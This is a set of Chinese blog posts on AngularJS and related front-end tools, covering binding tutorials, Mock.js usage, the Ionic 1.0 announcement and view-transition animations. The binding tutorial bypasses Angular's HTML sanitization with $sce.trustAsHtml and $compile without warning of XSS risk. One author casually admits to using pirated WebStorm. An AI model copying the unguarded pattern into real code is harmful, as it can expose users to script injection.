AngularJS是建立在这样的信念上的：即声明式编程应该用于构建用户界面以及编写软件构建，而指令式编程非常适合来表示业务逻辑。[1]框架采用并扩展了传统HTML，通过双向的数据绑定来适应动态内容，双向的数据绑定允许模型和视图之间的自动同步。因此，AngularJS使得对DOM的操作不再重要并提升了可测试性。


设计目标：



	将应用逻辑与对DOM的操作解耦。这会提高代码的可测试性。

	将应用程序的测试看的跟应用程序的编写一样重要。代码的构成方式对测试的难度有巨大的影响。

	将应用程序的客户端与服务器端解耦。这允许客户端和服务器端的开发可以齐头并进，并且让双方的复用成为可能。

	指导开发者完成构建应用程序的整个历程：从用户界面的设计，到编写业务逻辑，再到测试。



Angular遵循软件工程的MVC模式，并鼓励展现，数据，和逻辑组件之间的松耦合。通过 依赖注入（dependency injection） ，Angular为客户端的Web应用带来了传统服务端的服务，例如独立于视图的控制。因此，后端减少了许多负担，产生了更轻的Web应用。


开发环境


我所使用的开发环境包括下面这些：


工作站：一台13寸的 MacBook Pro Retina + iPad Mini


使用Mac开发前端有很多优势，对于我来讲，最大的优势就在于我还是一个Linux用户，很多的Linux习惯在Windows下面总是会有一些不适应，再者，OS X的系统稳定性以及各种各样优秀的App，也让它一直都成为我的工作利器。


我没有像很多牛逼的大神们购买多块屏幕，我只有一台iPad Mini，然后还有一个叫作 Duet 的App，它可以让我把 iPad 作为我的 Mac 的第二块屏幕，一般不需要，但是它真的能提高我的工作效率，而且可以直接使用到 iPad 的触摸屏，这对于移动开发来讲，很好。


我还有一台 Lenovo 的 Yoga 3，装了 Ubuntu，不过很少用，显示有点儿别扭，但是，比起其它的PC机，这台还是很不错了，大家也可以试试。


开发工具


以前是Notepad++ 的忠实用户，然后还有 Coda、TextMate、BBEdit、SublimeText 等等的，现在用的（而且可能以后会一直使用的）——WebStorm，软件是收费的，我用的是盗版的，实在是没有钱买，等以后有钱了一定补上。


当然了，WebStorm只是主开发工具，有的时候临时需要修改某个文件的时候，我还会使用 BBEdit，因为启动会比 WebStorm 快得多。


FTP 工具


有的时候会需要将文件发布至服务器上面去，我也没有安装FTP工具，直接使用的就是 SFTP，软件使用的是 Transmit，从用苹果的那一天开始就一直使用这个，没有改变过，和Coda是同一家公司（个人？）出的。


构建工具


打包工具是自己写的一个Python脚本，里面用到了三个第三方包：



	bs4

	jsmin

	csscompressor



分别用于压缩清理 HTML、JS以及 CSS，NB的Grunt、Gulp之类的一直没用，也深深的感觉，我没有必要用，最主要是我完全不懂啊，所以，一直没有使用，就自己用Python写，也很快，十几分钟就可以把一个构建或者说清理打包脚本写好。


版本管理


Git + GitLab ，我使用的是Git进行版本管理，然后自己有一台 Git 服务器，装有 GitLab 进行包管理，有兴趣也可以看看我公开的 Git 库，地址：http://git.osnuts.com。


 11个很棒的 AngularJS 工具

作者：Specs

来源： 11个很棒的 AngularJS 工具



                    
AngularJS 工具对你开发 AngularJS App 项目非常有帮助，下面的这些工具尤其适合用于创建单页面 WEB 应用。今天分享 11 个对WEB开发者非常有帮助的 AngularJS 工具，如果你还有其他很棒的工具，请在评论中留言让我们知道。

1. AngularFire


AngularFire 提供了一种非常容易的创建 AngularJS 应用后台的方式，提供了灵活的API，3种方式的数据绑定，以及快速的开发能力。

2. Protractor


Protractor 是一个 AngularJS 应用程序终端到终端的测试框架。Protractor 可以在真实的浏览器中运行测试你的程序。

3. Aptana


使用业界领先的WEB应用程序 IDE 来快速简便的构建 WEB 应用。Aptana Studio 利用了 Eclipse 的灵活性，并把它集成到一个功能强大的Web开发引擎。

4. Lumx


第一款基于 AngularJS 和 Google Material Design 的响应式前段框架。

5. Mobile Angular UI


Mobile Angular UI 是一个使用BootStrap 3 和 AngularJS 创建 HTML5 应用的前段框架。

6. UI Bootstrap


由 AngularUI 团队开发的，纯 AngularJS 编写的 BootStrap 组件。这个库包含了一套基于 BootStrap 标记和CSS的AngularJS指令。

7. Yeoman


Yeoman 帮你快速启动新的项目、提供最佳的实践以及使你保持高效的工具。

8. Videogular


Videogular 是一个由AngularJS 开发的支持PC端和移动端的视频应用框架。Videogular 使用 HTML5 的 video 标签，所以你可以添加任何你想要的。

9. Appery.io


Appery 是一个基于云平台的，使用私有/公共云方案开发移动端响应式应用的框架。

10. Colt.io


COLT 是一个小的程序，可以实时的测试、创建移动端、WEB端和基于桌面的应用程序。

11. Angular Gettext


Angular gettext 是一个 AngularJS 超级简单的翻译支持。所有的都用英语编写，并且标记出哪部分需要翻译。

via：dzinepix，由 Specs 翻译整理，发布在 Coder资源网，转载请注明来源。




 Angular模板与表达式的绑定

作者：dreamapplehappy

来源： Angular模板与表达式的绑定



                    
我们以下使用的angular的版本是1.3.x，完整的代码在文章的最后面，在线的例子demo
注意，我下面给出的代码示例只是截取了一部分，完整的部分在文章的最后面。



1.首先我们最常使用的一个绑定表达式的指令是ngBind，比如在一个div标签中我们可以这样使用：

    <div ng-bind="vm.info"></div>

这样就把控制器中的vm.info的值绑定到这个div标签里面了，使用这个指令还有一个好处就是在页面还没有完全渲染好的情况下，是不会出现Angular的{{}}解析符号的，它隐藏了Angular解析表达式的过程。如果你使用了下面的方法，

    <div>{{vm.info}}</div>

在网速不是很好的情况下，就会出现{{}}解析符号，给用户带来不好的体验。

2.下一个绑定表达式的指令就是ngBindTemplate了，这个指令与上一个指令的最大不同之处是：ngBindTemplate可以绑定多个表达式，这样就有一个好处，在一些元素中，比如title和option是不可以包含sapn元素的，这时候如果需要多个变量的话，ngBindTemplate就是很必须的。

    <div ng-bind-template="{{vm.info}} {{vm.msg}}"></div>

还要注意一点就是，这个指令的用法，多个模型变量是用{{}}括起来的。

3.接下来的一些是关于模板的绑定，第一个比较常用的是ngBindHtml，从指令的名字就可以看出来，这个指令是绑定一段html的，那么这个指令该如何使用呢？我们来研究一下，首先，我们需要在控制器定义一段html代码，如下所示：

    vm.html = '<div class="container">\
            <div class="title">{{vm.info}}</div>\
            <div class="content">content</div>\
            </div>';

然后我们就会很自然地想到按照下面的方法去使用这个指令：

    <div ng-bind-html="vm.html"></div>

但是当你在浏览器上运行的时候，却发现浏览器给你报了一个错误，如下所示：



说你在一个安全的上下文中使用了不安全的值，怎么解决这个问题呢？我们可以手动的将我们定义的那段html代码，变成Angular信任的值，具体的方法是在控制器定义一个方法如下所示：

    function trust_my_html(str){
            return $sce.trustAsHtml(str);
        }

然后在html中可以这样使用：

    <div ng-bind-html="vm.trust_my_html(vm.html)"></div>

4.上面的方法在一定程度上解决了模板的绑定问题，但是，还有一个小问题，就是模板中的表达式并没有被解析，你可以看看我写的那个demo，所以要想解决这个问题，就是有两个办法，首先就是你自己写一个指令，当绑定模板的时候，将模板中的表达式也给解析了，第二个办法就是使用别人的插件，我看到一个比较好的插件，名字叫做angular-bind-html-compile，我们在我们的主模块中注入这个依赖就可以使用这个指令了，使用方法如下：

    <div bind-html-compile="vm.html"></div>

这样一来，我们模块中的表达式也可以被解析了。还有需要注意，使用这个指令就不需要我们手动的将那段html片段变成Angular信任的值了。

5.当我们仔细看了看上面所说的那个指令，发现也不是那么的难，还不如我们自己写一个呢，不然还要引入他的文件，太费事了，具体的代码如下：

    function compileBindHtml($compile){
        var directive = {
            restrict: 'AE',
            link:linkFunc
        };
        return directive;

        function linkFunc(scope, elements, attrs){
            var func = function(){
                return scope.$eval(attrs.compileBindHtml);
            };
            scope.$watch(func, function(newValue){
                elements.html(newValue);
                $compile(elements.contents())(scope);
            })
        }
    }

我们来看看这个指令，在链接函数中，我们使用$watch监测func函数的返回值，func函数的返回值是一个被$eval的属性值，也就是我们的模板值，然后当检测到有变化的时候，就将我们的模板值放置到含有这个指令的html标签中，然后在使用$compile服务将我们的模板给编译了。看看其实也不是那么难的。

6.最后一个可以用来绑定模板的指令是ngInclude，这个指令使用的频率相对来说比较高一点，那么这个指令怎么使用呢？我们一起来研究一下。

	方法一，将模板写在html文件中，这个过程要通过使用script指令来实现，如下所示的一个例子：




    <script type="text/ng-template" id="template-1">
        <div class="container">
            <div class="title">{{vm.info}}</div>
            <div class="content">content</div>
        </div>
    </script>

这里来讲解一下怎么使用这个script指令，首先它的type属性值必须是ng-template，然后id值是它的一个标记或者索引，当你需要在html中使用它的时候就要使用这个id的值来引用这段模板。

	方法二，将模板写在js文件中，通过使用$templateCache服务，来写我们的模板，具体的用法如下：




    function configFuc($templateCache){
        var template = '<div class="container">\
            <div class="title">{{vm.info}}</div>\
            <div class="content">content</div>\
            </div>';
        $templateCache.put('template-2', template);
    }

我们的模板的索引是template-2，具体的内容就是template变量里面的内容。

在html里面使用的方法如下所示：

    <div ng-include="'template-1'"></div>
    <div ng-include="'template-2'"></div>

使用ngInclude的另一个好处就是模板里面的表达式是会被解析的。

完整的代码：

	index.html




    <body ng-controller="MyController as vm">

    <script type="text/ng-template" id="template-1">
        <div class="container">
            <div class="title">{{vm.info}}</div>
            <div class="content">content</div>
        </div>
    </script>


    <h1 class="title">ngInclude <span>VS</span> ngBindHtml <span>VS</span> ngBind <span>VS</span> ngBindTemplate</h1>
    <hr/>
    <h3>ngBind</h3>
    <div ng-bind="vm.info"></div>
    <hr/>
    <h3>ngBindTemplate</h3>
    <div ng-bind-template="{{vm.info}} {{vm.msg}}"></div>
    <hr/>

    <h3>ngBindHtml</h3>
    <!-- 这里需要加上这个trust函数 不然会被当做不安全的html 然后会报错-->
    <div ng-bind-html="vm.trust_my_html(vm.html)"></div>

    <!-- 下面的不需要在外层加上那个trust函数 ,不然会报错-->
    <div compile-bind-html="vm.html"></div>

    <!--可以使用别人写好的一个插件-->
    <!--https://github.com/incuna/angular-bind-html-compile-->
    <div bind-html-compile="vm.html"></div>

    <hr/>
    <h3>ngInclude</h3>
    <!-- 加载的模板第一种方法是通过`$templateCache`服务 -->
    <div ng-include="'template-1'"></div>

    <!-- 加载模板的第二种方法是通过`script`指令 -->
    <div ng-include="'template-2'"></div>


</body>


	index.js




    (function(){
    angular.module('MyApp', ['angular-bind-html-compile'])
        .run(configFuc)
        .controller('MyController', MyController)
        .directive('compileBindHtml', compileBindHtml);

    configFuc.$inject = ['$templateCache'];
    MyController.$inject = ['$sce'];
    compileBindHtml.$inject = ['$compile'];

    function configFuc($templateCache){
        var template = '<div class="container">\
            <div class="title">{{vm.info}}</div>\
            <div class="content">content</div>\
            </div>';
        $templateCache.put('template-2', template);
    }

    function MyController($sce){
        var vm = this;
        vm.info = 'Hello,World';
        vm.msg = 'Thank You!';
        vm.html = '<div class="container">\
            <div class="title">{{vm.info}}</div>\
            <div class="content">content</div>\
            </div>';
        vm.trust_my_html = trust_my_html;
        vm.get_trust_html = get_trust_html;

        function trust_my_html(str){
            return $sce.trustAsHtml(str);
        }

        function get_trust_html(str){
            return $sce.getTrustedHtml(str);
        }

    }

    function compileBindHtml($compile){
        var directive = {
            restrict: 'AE',
            link:linkFunc
        };
        return directive;

        function linkFunc(scope, elements, attrs){
            var func = function(){
                return scope.$eval(attrs.compileBindHtml);
            };
            scope.$watch(func, function(newValue){
                elements.html(newValue);
                $compile(elements.contents())(scope);
            })
        }
    }
})();


	style.css




    h1.title{
    text-align: center;
}
h1.title span{
    color: #CCC;
}

.container{
    width: 100%;
    height: 60px;
}
.container .title{
    height: 20px;
    background-color: #b3d4fc;
    font-size: 20px;
    line-height: 20px;
    text-align: center;
}
.container .content{
    height: 40px;
    background-color: #0000FF;
    font-size: 15px;
    line-height: 40px;
    text-align: center;
}

h3{
    text-align: center;
    color: #FF0000;
}
div{
    text-align: center;
}

参考的资料：How to make ng-bind-html compile angularjs code


 使用Mock.js进行独立于后端的前端开发

作者：Pusri

来源： 使用Mock.js进行独立于后端的前端开发



                    
概述


Mock.js实现的功能



	基于 数据模板 生成数据

	基于 HTML模板 生成数据

	拦截并模拟 Ajax请求




用法


浏览器：


<!-- （必选）加载 Mock -->
<script src="http://mockjs.com/dist/mock.js"></script>
<script>
// 使用 Mock
var data = Mock.mock({
    'list|1-10': [{
        'id|+1': 1
    }]
});
$('<pre>').text(JSON.stringify(data, null, 4))
.appendTo('body')
</script>



返回值:


{
"list": [
    {
        "id": 1
    },
    {
        "id": 2
    },
    {
        "id": 3
    }
    ]
}





JQuery：


配置模拟数据：


Mock.mock('http://g.cn', {
    'name'     : '@name',
    'age|1-100': 100,
    'color'    : '@color'
});



发送Ajax请求：


$.ajax({
    url: 'http://g.cn',
    dataType:'json'
    }).done(function(data, status, xhr){
    console.log(
    JSON.stringify(data, null, 4)
    )    
})；



返回数据：


// 结果1
{
"name": "Elizabeth Hall",
"age": 91,
"color": "#0e64ea"
}

// 结果2
{
"name": "Michael Taylor",
"age": 61,
"color": "#081086"
}





Node.js：


// 安装
npm install mockjs

// 使用
var Mock = require('mockjs');
var data = Mock.mock({
    'list|1-10': [{
        'id|+1': 1
    }]
});

console.log(JSON.stringify(data, null, 4))





Angular.js:


<!-- 引用 -->
<script src="http://mockjs.com/dist/mock-min.js"></script>
<script src="http://cdn.staticfile.org/angular.js/1.3.0-beta.13/angular.min.js"></script>

<!-- 兼容angular (mock.js默认不兼容angular，需额外引用兼容包)-->
<script src="./src/mock.angular.js"></script>
<!-- 模拟数据 -->
<script src="./mockData.js"></script>
<!-- 使用 -->
<script>
(function() {
    (function() {
        var app;
        app = angular.module('app', []);
        //使用mockjax方法覆盖Ajax请求
        Mock.mockjax(app);
        return app.controller('appCtrl', function($scope, $http) {
            var box;
            box = $scope.box = [];
            $scope.get = function() {
                $http({
                    url: 'http://www.baidu.com',
                    method: 'POST',
                    params: {a: 1},
                    data  : {b:1}
                }).success(function(data) {
                return box.push(data);
            });

            $http({
                url: 'http://baidu.com'
                }).success(function(data) {
                console.log(data);
                });
            };
        return $scope.get();
        });
    })();

}).call(this);
</script>



mock数据mockData.js:


Mock.mock('http://www.baidu.com', {
    'name': '@name()',
    'age|1-100': 100,
    'color': '@color'
});





语法


Mock.js 的语法规范包括两部分：



	数据模板定义（Data Temaplte Definition，DTD）

	数据占位符定义（Data Placeholder Definition，DPD）



数据模板定义 DTD


数据模板中的每个属性由 3 部分构成：属性名、生成规则、属性值：


// 属性名   name
// 生成规则 rule
// 属性值   value
'name|rule': value



注意：



	属性名 和 生成规则 之间用 | 分隔。

	生成规则 是可选的。

	
生成规则 有 7 种格式：



	'name|min-max': value

	'name|count': value

	'name|min-max.dmin-dmax': value

	'name|min-max.dcount': value

	'name|count.dmin-dmax': value

	'name|count.dcount': value

	'name|+step': value





	生成规则 的 含义 需要依赖 属性值 才能确定。


	属性值 中可以含有 @占位符。

	属性值 还指定了最终值的初始值和类型。



生成规则和示例：


1. 属性值是字符串 String



	'name|min-max': 'value' 通过重复 'value' 生成一个字符串，重复次数大于等于 min，小于等于 max。

	'name|count': 'value' 通过重复 'value' 生成一个字符串，重复次数等于 count。



2. 属性值是数字 Number



	'name|+1': 100 属性值自动加 1，初始值为 100

	'name|1-100': 100 生成一个大于等于 1、小于等于 100 的整数，属性值 100 只用来确定类型。

	
'name|1-100.1-10': 100 生成一个浮点数，整数部分大于等于 1、小于等于 100，小数部分保留 1 到 10 位。


    {
    'number1|1-100.1-10': 1,
    'number2|123.1-10': 1,
    'number3|123.3': 1,
    'number4|123.10': 1.123
    }
    // =>
    {
    "number1": 12.92,
    "number2": 123.51,
    "number3": 123.777,
    "number4": 123.1231091814
    }






3. 属性值是布尔型 Boolean



	'name|1': value 随机生成一个布尔值，值为 true 的概率是 1/2，值为 false 的概率是 1/2。

	'name|min-max': value 随机生成一个布尔值，值为 value 的概率是 min / (min + max)，值为 !value 的概率是 max / (min + max)。



4. 属性值是对象 Object



	'name|min-max': {} 从属性值 {} 中随机选取 min 到 max 个属性。

	'name|count': {} 从属性值 {} 中随机选取 count 个属性。



5. 属性值是数组 Array



	'name|1': [{}, {} ...] 从属性值 [{}, {} ...] 中随机选取 1 个元素，作为最终值。

	'name|min-max': [{}, {} ...] 通过重复属性值 [{}, {} ...] 生成一个新数组，重复次数大于等于 min，小于等于 max。

	'name|count': [{}, {} ...] 通过重复属性值 [{}, {} ...] 生成一个新数组，重复次数为 count。



6. 属性值是数组 Function


'name': function(){} 执行函数 function(){}，取其返回值作为最终的属性值，上下文为 'name' 所在的对象。


数据占位符定义 DPD


占位符 只是在属性值字符串中占个位置，并不出现在最终的属性值中。占位符 的格式为：


@占位符
@占位符(参数 [, 参数])



注意：



	用 @ 来标识其后的字符串是 占位符。

	占位符 引用的是 Mock.Random 中的方法。

	通过 Mock.Random.extend() 来扩展自定义占位符。

	占位符 也可以引用 数据模板 中的属性。

	
占位符 会优先引用 数据模板 中的属性


{
 name: {
 first: '@FIRST',
 middle: '@FIRST',
 last: '@LAST',
 full: '@first @middle @last'
    }
}
// =>
{
 "name": {
 "first": "Charles",
 "middle": "Brenda",
 "last": "Lopez",
 "full": "Charles Brenda Lopez"
    }
}








常用方法


Mock.mock( rurl?, rtype?, template|function(options) )


根据数据模板生成模拟数据。



参数的含义和默认值如下所示：



	参数 rurl：可选。表示需要拦截的 URL，可以是 URL 字符串或 URL 正则。例如 /\/domain\/list.json/、'/domian/list.json'。

	参数 rtype：可选。表示需要拦截的 Ajax 请求类型。例如 GET、POST、PUT、DELETE 等。

	参数 template：可选。表示数据模板，可以是对象或字符串。例如 { 'data|1-10':[{}] }、'@EMAIL'。

	参数 function(options)：可选。表示用于生成响应数据的函数。

	参数 options：指向本次请求的 Ajax 选项集。



Mock.mockjax(library)


覆盖（拦截） Ajax 请求，目前内置支持 jQuery、Zepto、KISSY。


Mock.Random


Mock.Random 是一个工具类，用于生成各种随机数据。Mock.Random 的方法在数据模板中称为“占位符”，引用格式为 @占位符(参数 [, 参数]) 。


Mock.tpl(input, options, helpers, partials)


基于 Handlebars、Mustache 的 HTML 模板生成模拟数据。


方法使用详情请参考mock.js文档




参考


演示： mock-demo


演示： mock-angular-demo


参考： mock.js


源码： mock-angular


 Ionic 1.0 正式版发布

作者：hoosin

来源： Ionic 1.0 正式版发布



                    

  英文地址：http://blog.ionic.io/announcing-ionic-1-0/






亲爱的 Ionites，


你循循善诱，提交了这么多代码，一直活跃在社区，建立了这么多令人出乎意料的APP，组织的社区遍布世界各地，支持了一个又一个开发者，激励着我们共同推动着ionic。今天，所有的奉献精神终有成果。


我感到无比激动和自豪正式宣布，经过14个测试版和5个rc版本，最终版本Ionic 1.0.0 “uranium-unicorn,” 就在这里！


对我们这个团队来说，这是一个很重要的里程碑，同样，对所有的你们，从一开始就如此热情地支持Ionic的发展。你们热心支持Ionic SDK的行动不断冲击着我们的头脑。Ionic已经真正成为一支不可忽视的力量。


我们已经看到了Ionic App已经超过了我们远大的梦想。 Sworkit被刊登在iOS的App Store中的健康和健康部分，还有Pacifica，被刊登在英国的Buzzfeed和Gizmodo。 Mallzee被选为App Store最佳新闻App之一。 Rementep被App Store选为中最棒的新app，EskomSePush在南非App Store中取得了前10。一些最大和最知名的企业都在使用Ionic 来构建企业应用程序。我们知道除此之外，还有更多的成功案例，所以请与我们分享您的应用程序。我们喜欢看到新的Ionic App！


Ionic 是现在GitHub上的最火的开源项目之一，具有超过16,000星及以上创建600000Ionic app。我们已经关闭了近3000个GitHub上的问题，并已经合并186个pull 请求。 169位非常优秀的贡献者为使Ionic成为一个更好的Hybrid App开发SDK作出了我们想象的贡献。


更加稳定


关于本次发布最有趣的是，与许多我们以前的那些包括大规模修复不同，1.0实际上并没有寻求使很多大的变化！相反，它已经成为到今天为止最稳定和最久经考验的版本，5个RC版的“最终形态”。


说到这，我想分享一些包含在Ionic 1.0非常棒的新功能，我认为可以使您的开发体验更加愉快，同时也让你想你一下我们接下来计划做什么。新功能如下：



	Native scrolling  正式支持。感谢社会各界提供的测试证实了这一点。这是Android的一个巨大的性能提升。试试吧，让我们知道您的想法！

	Swipe to go back  现在使用交互式的动画，而不是静态的动画，动画导航栏标题和后退按钮（像原生ios程序一样）。

	Collection-repeat 已经大规模修改。

	改善14 Beta版的导航支持。

	SVG spinners  可以让你用指令封装图标，无需处理SVG标记。

	Platform Continuity： 我们已经改善了特定平台的样式像action sheet这样的动作。而这仅仅是个开始……

	我们显著改善了键盘在modal和方向改变时的支持。

	我们还改善了Windows Phone的支持（是的，我们听到你）！Ionic 1.0现在允许Cordova特殊的MS-APPX协议在WP使用。我们已经创造了ng-show来修复在IE和去掉IE的“squish”的效果。在Windows上,我们增加了一个固定范围的输入显示和设置默认的spiner动画。我们还提高了点击/拖动/滚动行为。



展望未来


展望未来，我们计划作出Ionic 1.0以下附加的改进：



	我们将扩大我们对Windows Phone的支持。有许多围绕点击/点击/激活行为的问题，因为Windows使用的不是触摸事件而是pointer事件。我们将在Ionic HQ上配置完整的Windows测试环境，并与一些微软团队成员密切合作，更直接地解决Windows Phone的问题。

	我们将增加Ionic的Visual Studio模板现有的集合，作为我们与微软合作的一部分。

Native scrolling 将继续得到发展和完善。



不止一个框架


与此同时，我们将要开放Ionic的平台服务的一些preview版本…


想象一下，只需要点击一个按钮，便可以轻松地为你的apps添加强大的工具，如推送通知和应用程序的分析。构建原生二进制程序，而无需安装本地的SDK，更新您的应用程序而无需提交到App Store。听起来很酷，不是吗？这里是你可以看看有什么期待从Ionic平台的一些详细信息：



	Ionic推送将让你轻松发送推送通知到多个平台，计划营销通知，并针对特定用户群，全部通过一个直观的用户界面，以及一个REST API。

	Ionic部署将允许您无需重新提交到应用商店和跟踪历史的更新您的应用程序Ionic，所以你可以回滚到以前的版本并撤销在任何时间发生的变化。

	Ionic Analytics（分析）会跟踪用户的交互的每个部分内的离子的应用程序可以轻松地找到痛点，并在其上​​重点领域（我们甚至将有热图！）。

	Ionic Package将为应用程序提供自动生成服务，这样你就可以建立一个生产就绪的iOS版本的应用程序而无需Mac，例如。

	Ionic View app，已经可以在iOS和Android使用，一个让你随时在设备上实时预览和分享应用程序在设备上，而无需经过App store。

	新发布的 Playground 让你可以直接在浏览器上调试 Ionic，无需安装任何东西。

	最后，Creator 提供使用拖放和拖放组件构建快速应用程序原型。你会看到Creator 获得在未来几周内会受到更多重视，所以注意关注！



还有更多的服务是在工作，我就不继续讲了…


直到下一次！


因此，我们将继续开发Ionic 过去的1.0.0版本中，增加了许多上面列出的功能。当然，我们对1.0的支持将持续很长一段时间，所以你不用担心！与此同时，我们已经在积极开发Ionic 2.0，保持与Angular 2.0一致。我们的团队正在密切合作，以确保下一个版本是惊人的。对此，我很激动，但现在还不能说太多。当我说我们有很多令人兴奋的东西在商店的时候，相信我。


非常感觉那些测试新特性，反馈给我们的同学，以及提交request，和帮助论坛上其他同学的高手们，你们所做的事情发挥了重要作用。非常的感谢所有这些伟大的人。没有你，我们就不会在这里。


于是就这样，继续前进，给1.0 Ionic 一个spin！我们相信你真的会爱上它。感谢您在这个旅程中加入我们。这一直是一个令人难以置信的，令人兴奋的旅程，我们很高兴能有你伴随着我们。


To the moon!


 用Angular制作单页应用视图切换动画

作者：EdwardUp

来源： 用Angular制作单页应用视图切换动画



                    
视图，动画

单页应用（Single Page Web Application）往往有一个基本的要点，那就是把多个视图集成到一个网页内，然后去控制这些视图的显示和隐藏。此外，视图的切换动作几乎都会引入动画效果，以获得更平滑、流畅的浏览体验。

如果想要很快速地制作出包含视图动画的单页应用？

Angular会是一个不错的选择。下面，本文将说明如何用Angular（v1.4.3）来完成制作。你也许会觉得这个过程相当简单。

切换DOM的ngSwitch

视图切换，其实就是切换DOM显示。Angular有一个ngSwtich，从名字就可以看出，正是拿来做“切换”工作的。

参考Angular的ngSwitch用法，可以想到这样的html：

<body ng-app="morin" ng-strict-di>
<div class="view-container" ng-controller="viewController as view" ng-switch="view.current">
    <div class="view-page view-1" ng-switch-when="1"></div>
    <div class="view-page view-2" ng-switch-when="2"></div>
</div>
<!-- scripts -->
</body>


在这段代码中，div.view-page分别代表不同的视图，它们都被包含在div.view-container这样一个视图容器中。视图容器元素上创建了名为viewController的Controller，并定义了关联名view（或者叫简称）。

视图容器上的ng-switch，指定了一个变量view.current，用来判断当前显示哪个视图。对应的，在已有的两个视图内，分别用ng-swtich-when指定了1和2这样的值。想一想JavaScript的switch语句，这个结构会是怎样的效果，就很好理解了。

这些视图对应的css是：

.view-page{
    position: absolute;
    width: 100%;
    height: 100%;
    left: 0;
    top: 0;
}
.view-1{
    background: #b3c589;
}
.view-2{
    background: #8fc241;
}


这里的background是给每个视图带上背景，用作标识。

引入动画的ngAnimate

ngAnimate是Angular的一个附属module，可以为Angular应用增加动画支持。在加入ngAnimate后，ngSwitch的切换过程所涉及的两个元素，会分别被Angular添加不同的class。其中，ng-enter代表进场，ng-enter-active代表进场动画终点，ng-leave代表退场，ng-leave-active代表退场动画终点。只需要借助这些class，我们就可以用css创建切换过程的动画（浏览器私有前缀已省略）：

.view-page.ng-enter{
    transition: transform .5s;
    transform: translateX(100%);
}
.view-page.ng-enter.ng-enter-active{
    transform: translateX(0);
}
.view-page.ng-leave{
    transition: transform .5s;
}
.view-page.ng-leave.ng-leave-active{
    transform: translateX(-100%);
}


这段代码是一个使用transition制作了简单的平移动画的例子。其中每一段定义都有的.view-page，是为了限定只有视图元素才获得这个动画效果。

transition动画的要点是，transition属性本身必须定义在ng-enter或ng-leave这样表示动画起点的class上。然后，动画终点class上再定义终点样式。

如果使用animation的css动画，则只需要用到动画起点的class：

.view-page.ng-enter{
    animation: moveFromRight .5s both;
}
.view-page.ng-leave{
    animation: moveToLeft .5s both;
}
@keyframes moveFromRight{
    from { transform: translateX(100%); }
}
@keyframes moveToLeft{
    to { transform: translateX(-100%); }
}


这段使用animation的代码将可以获得和前面相同的动画效果。

如果想要视图1和视图2各自有不同的进场和退场动画，用class去限定即可：

.view-1.ng-enter{ }
.view-2.ng-enter{ }
/* ... */


有关更多的视图切换动画，推荐参考A Collection of Page Transitions。

让一切工作起来

下面加入JavaScript完成功能。代码是（外层包装函数已省略）：

angular
    .module("morin", ["ngAnimate"])
    .controller("viewController", viewController);

function viewController(){
    var view = this;
    view.current = "1";

    // Here, change "view.current" to switch views with animation.
}


没错，只需要这样一小段。然后，在viewController函数的代码范围内，只要更改view.current这一个变量的值，就可以完成带动画效果的视图切换。

很方便？现在，视图1内有一个按钮元素，我们希望它点击后切换到视图2，那么这样做就搞定了：

<a class="m-btn" href="javascript:" ng-click="view.current='2'"></a>


如果除了切换，还要做点别的，一般这样做：

<a class="m-btn" href="javascript:" ng-click="view.doSomething()"></a>


对应JavaScript：

function viewController(){
    // ... (the same as before)
    view.doSomething = doSomething;

    function doSomething(){
        // Do what you want.
        view.current = "2";
    }
}


至此，带有视图切换动画的单页应用就完成了。完成后的效果可能像这样（点击切换，限支持的浏览器）：

http://runjs.cn/detail/ntrenbml

它包括4个视图，每个视图都定义了不同的进场和退场动画。

补充说明

ngSwitch的判定值是字符串

使用ngSwitch需要注意的是，最初在html内用ng-switch-when指定的值，只会被当做字符串进行识别。所以你也可以看到前文中的代码使用的是字符串的"1"。

ngSwitch会移除DOM

ngSwtich切换DOM显示并不通过css的display属性实现，而是真正从DOM中添加和移除元素。因此，如果视图元素中有子Controller，使用$scope.$emit()可以发布事件到上层，如viewController的$scope，但反过来，viewController使用$scope.$broadcast()向下发布事件，则可能会因为DOM当前不存在而接收不到。

保障初始状态的ngCloak

JavaScript代码一般都会放在比较靠后的位置执行，在代码未运行完毕之前，可能会出现先看到未经JavaScript处理的html的情况（并带来一种闪烁的感觉）。比如本文例子中，ngSwitch中的多个视图初始都是显示的，只是在JavaScript代码运行后才隐藏非当前视图。

Angular提供了ngCloak来解决这个问题。在本文例子中，可以在div.view-container上添加自定义属性ng-cloak，并在页面css内补充这样的样式：

[ng\:cloak], [ng-cloak], [data-ng-cloak], [x-ng-cloak], .ng-cloak, .x-ng-cloak {
  display: none !important;
}


也就是说，先隐藏，然后Angular会在加载完成后再移除ngCloak标记。

浏览器兼容性

考虑Angular(v1.4.x)本身以及css动画的兼容性，需要IE10+及其他现代浏览器。如果是移动端应用，那么在当前主流手机浏览器上都是可用的。

等下，还完全不会Angular...

本文假定你已经了解了最基本的Angular用法。如果想要从零开始，推荐参考AngularJS for Absolute Beginners和AngularJS TodoMVC Example。

结语

说起来，我也赞同一个观点是，Angular的学习成本不低。但就本文的例子来看，要制作这样一个像模像样的单页应用，是不是还挺简单的呢？对Angular有基本的了解就可以了。

当然，本文才不是说因为一个功能点的实现，就应该去引入Angular这样的框架。请理解为，如果用Angular开发单页应用，至少它的视图切换动画会很容易做！

（重新编辑自我的博客，原文地址：http://acgtofe.com/posts/2015/08/view-transitions-with-angularjs）


 轻量级的双向绑定工具 —— ukulelejs

作者：熊丸子

来源： 轻量级的双向绑定工具 —— ukulelejs



                    
什么是Ukulelejs

一个轻量级的双向绑定工具，你可以把它暂时理解为精简版的Angular。(以下简称ukujs)

先来看一个最简单的双向绑定例子

<div uku-application>
    <input type="text" uku-value="myCtrl.message">
    <input type="text" uku-value="myCtrl.message">
    <textarea rows="4" uku-value="myCtrl.message"></textarea>
</div>

//Register ViewModel
var uku = new Ukulele();
uku.registerController("myCtrl",new MyController());

//Define ViewModel
function MyController(){
    this.hello = "hello, ukulele";
}



什么是Ukulele


还记得这个风靡网络的视频么？这个小正太手里捧着的可爱乐器就叫做Ukulele

Ukulele是一种来自于夏威夷的4弦小吉他，念作尤克里里（台译：乌克里里）



既然已经有了Angularjs,为何还要再去造个轮子





阅读到这里，如果你对ukujs稍微产生了那么一丢丢感兴趣，请戳


官网：http://momoko8443.github.io/ukulelejs_website

（真正的干货都在官网里）

DEMO：http://ukujstore.tiger.mopaasapp.com/
github：https://github.com/momoko8443/ukulelejs

与其它一些流行框架的性能对比

渲染2000个双向绑定对象，所花费的时间


渲染20000个双向绑定对象，所花费的时间



浏览器的支持

Chrome
Firefox
IE 10+


看官您要是看到这里还没有跳转页面的话，我们再来扯扯题外话

Q: 为何起名叫做ukulele？

